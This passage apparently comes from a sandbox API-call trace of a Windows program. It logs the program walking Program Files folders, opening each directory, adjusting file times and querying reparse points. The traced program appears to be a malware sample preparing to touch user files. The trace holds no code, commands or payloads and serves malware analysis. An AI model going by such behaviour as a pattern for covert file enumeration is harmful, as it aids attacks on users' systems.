ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0080.318] GetLastError () returned 0x12 [0080.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.319] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.319] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.319] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0080.319] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0080.319] GetLastError () returned 0x12 [0080.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.319] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.319] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="")) returned 1 [0080.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.320] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.320] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.320] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.320] NtClose (Handle=0x124) returned 0x0 [0080.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.321] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.321] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.321] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.321] GetLastError () returned 0x12 [0080.321] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.321] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.321] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.321] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.321] GetLastError () returned 0x12 [0080.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.322] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cda660, ftCreationTime.dwHighDateTime=0x1d5664e, ftLastAccessTime.dwLowDateTime=0xf8ee6dc0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0xf8ee6dc0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 1 [0080.322] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cda660, ftCreationTime.dwHighDateTime=0x1d5664e, ftLastAccessTime.dwLowDateTime=0xf8ee6dc0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0xf8ee6dc0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 0 [0080.322] GetLastError () returned 0x12 [0080.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.323] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.323] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0080.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.323] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.323] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.324] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.324] NtClose (Handle=0x164) returned 0x0 [0080.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.325] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.325] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf14c20, ftCreationTime.dwHighDateTime=0x1d5731a, ftLastAccessTime.dwLowDateTime=0x718e2c00, ftLastAccessTime.dwHighDateTime=0x1d57a9b, ftLastWriteTime.dwLowDateTime=0x718e2c00, ftLastWriteTime.dwHighDateTime=0x1d57a9b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0080.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.326] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5739a390, ftCreationTime.dwHighDateTime=0x1d578fa, ftLastAccessTime.dwLowDateTime=0x1e7dffb0, ftLastAccessTime.dwHighDateTime=0x1d56a8b, ftLastWriteTime.dwLowDateTime=0x1e7dffb0, ftLastWriteTime.dwHighDateTime=0x1d56a8b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="measurement_standings_errors.exe", cAlternateFileName="")) returned 1 [0080.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.326] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0080.327] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0080.327] GetLastError () returned 0x12 [0080.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.327] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.327] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.327] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, 